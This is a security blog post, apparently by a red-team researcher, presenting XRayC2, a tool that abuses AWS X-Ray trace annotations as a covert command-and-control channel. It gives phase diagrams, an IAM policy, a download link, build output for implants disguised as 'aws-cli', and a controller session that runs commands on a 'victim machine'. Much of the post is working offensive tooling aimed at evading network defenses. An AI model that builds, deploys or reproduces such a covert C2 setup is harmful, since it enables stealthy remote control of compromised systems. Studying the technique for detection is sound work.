Attackers can weaponize AWS X-Ray as a covert bidirectional C2 channel, abusing legitimate cloud tracing infrastructure for C2.
Summary & Background: Before we get started, if you haven’t had a chance to read my MeetC2 log post yet, do give a read.
I’ve been using MeetC2 in my RedTeam campaigns for months now, and with the amazing feedback from the community, I planned to publish a new toolkit (XRayC2).
I always enjoy working on initial access evasion against traditional network defenses. In this, we used AWS X-Ray Amazon’s distributed application tracing service as a covert communication channel. This technique leverages legitimate cloud monitoring infrastructure to establish bidirectional C2 communication.
Traditional C2 infrastructure relies on establishing network connections between attacker-controlled servers and compromised hosts. This approach leaves numerous detection opportunities such as suspicious domains, unknown IPs, unusual network patterns, and SSL certificate anomalies.
Communication Flow
Domain — xray.[region].amazonaws.com
AWS X-Ray was designed to help developers to understand application performance by collecting traces. However, X-Ray annotations can store arbitrary key-value data, and the service provides APIs to both write and query this data.
Phase 1: Implant Beacon (Establishing Presence)
───────────────────────────────────────────────────────────
Target System X-Ray Service Controller
│ │ │
│ PUT /TraceSegments │ │
│ { │ │
│ trace_id: "1-67a2b...", │ │
│ annotations: { │ │
│ service_type: "health_check" ◄─── Beacon Marker │
│ instance_id: "a3f7b2c8" ◄─── Unique Implant ID │
│ platform: "darwin" ◄─── OS Information │
│ } │ │
│ } │ │
│─────────────────────────────────► │
│ │ GET /TraceSummaries │
│ │ (Poll for new beacons) │
│ ◄───────────────────────────┤
│ │ │
│ │ Returns beacon traces │
│ ├──────────────────────────►│
│ │ │
│ │ [+] New implant: a3f7b2c8
│ │
Phase 2: Command Delivery (Controller → Implant)
───────────────────────────────────────────────────────────
Controller X-Ray Service Target System
│ │ │
│ xray-c2> cmd whoami │ │
│ │ │
│ PUT /TraceSegments │ │
│ { │ │
│ trace_id: "1-67a2c...", │ │
│ annotations: { │ │
│ config_a3f7b2c8: │ │
│ base64(timestamp:whoami) ◄─── Encoded Command │
│ } │ │
│ } │ │
├─────────────────────────────────► │
│ │ │
│ │ GET /TraceSummaries │
│ │ (Implant polls) │
│ ◄───────────────────────────┤
│ │ │
│ │ Returns traces with │
│ │ config_a3f7b2c8 │
│ ├──────────────────────────►│
│ │ │
│ │ [Decode: "whoami"]
│ │ [Execute command]
Phase 3: Result Exfiltration (Implant → Controller)
───────────────────────────────────────────────────────────
Target System X-Ray Service Controller
│ │ │
│ [Command executed: "zero"] │ │
│ │ │
│ PUT /TraceSegments │ │
│ { │ │
│ trace_id: "1-67a2d...", │ │
│ annotations: { │ │
│ instance_id: "a3f7b2c8" │ │
│ execution_result: │ │
│ base64("zero") ◄─── Encoded Output │
│ } │ │
│ } │ │
│─────────────────────────────────► │
│ │ │
│ │ GET /TraceSummaries │
│ │ (Poll for responses) │
│ ◄───────────────────────────┤
│ │ │
│ │ Returns result traces │
│ ├──────────────────────────►│
│ │ │
│ │ [+] Response from a3f7b2c8:
│ │ zero
Random beacon interval happens between 30–60 seconds. The implant implements custom AWS SigV4 authentication manually. In addition to this API request to X-Ray must be signed using HMAC-SHA256 with the access key and secret, following Amazon’s specific canonical request format which creates legitimate AWS API traffic that would gel up with regular network logs.
AWS Setup
Ensure you use your dummy AWS tenant for this, once logged in navigate to “IAM” & create a user name “XRay” attach “AWSXRayDaemonWriteAccess” policy under permissions policies. Next create a custom policy with the below JSON and submit. Once user is created, we can use it’s AWS client & secret for implant & controller.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"xray:PutTraceSegments",
"xray:GetTraceSummaries",
"xray:BatchGetTraces"
],
"Resource": "*"
}
]
}
How to run?
Download XRayC2 — https://github.com/RootUp/XRayC2
bash-3.2$ ./build_standalone.sh
=====================================
X-Ray C2 Standalone Builder
@RandomDhiraj
=====================================
Enter AWS credentials to embed in implants:
AWS Access Key ID: [Enter your key]
AWS Secret Access Key: [Enter your key]
[*] Building macOS implant (zero dependencies)...
[+] Built: aws-cli (5.8M)
[*] Building Windows implant (zero dependencies)...
[+] Built: aws-cli.exe (5.9M)
[*] Cleaning up...
=====================================
STANDALONE BUILD COMPLETE!
Zero-dependency implants ready:
• aws-cli (macOS/Linux)
• aws-cli.exe (Windows)
Just double-click and run!
=====================================
bash-3.2$
bash-3.2$ file aws-cli
aws-cli: Mach-O 64-bit executable x86_64
bash-3.2$
bash-3.2$ file aws-cli.exe
aws-cli.exe: PE32+ executable (GUI) x86-64, for MS Windows
bash-3.2$
bash-3.2$ export AWS_ACCESS_KEY_ID="[AWS user "XRay" Key]"
bash-3.2$ export AWS_SECRET_ACCESS_KEY="[AWS user "XRay" Key]"
bash-3.2$
bash-3.2$ python3.10 controller.py
[+] AWS Account: 691455350179
[+] Region: eu-west-1
┌─────────────────────────────────────────────────────────────┐
│ X-Ray C2 Controller │
└─────────────────────────────────────────────────────────────┘
Available Commands:
list - List active implants
use <id> - Select implant
cmd <command> - Send command to selected implant
info <id> - Show implant details
clear - Clear screen
exit / quit - Exit controller
xray-c2 (none)>
xray-c2 (none)> list
[-] No active implants
xray-c2 (none)>
Run the implant on victim machine aws-client
or aws-client.exe
you will see the callback that can be managed from the controller.
xray-c2 (none)>
xray-c2 (none)>
[+] New implant connected: 1e055763 (darwin)
xray-c2 (None)>
xray-c2 (none)> list
[+] Active Implants:
----------------------------------------------------------------------
ID: 1e055763
Status: Active (last beacon 3s ago)
First Seen: 11:04:34
Last Seen: 11:04:34
Beacons: 1
OS: darwin
----------------------------------------------------------------------
xray-c2 (none)> use 1e055763
[+] Selected: 1e055763
xray-c2 (1e055763)>
xray-c2 (1e055763)> cmd hostname
[*] Sending command to 1e055763: hostname
[+] Command sent (implant will receive on next beacon)
xray-c2 (1e055763)>
[+] Response from 1e055763:
Dhirajs-MacBook-Pro-2.local
xray-c2 (1e055763)>
xray-c2 (1e055763)>
Video Proof-of-concept
Let me suggest reading further Dhiraj’s incredible analysis on Medium for free.
About the Author: Security Researcher Dhiraj Mishra (@mishradhiraj)
Follow me on Twitter: @securityaffairs and Facebook and Mastodon
(SecurityAffairs – hacking, MeetC2)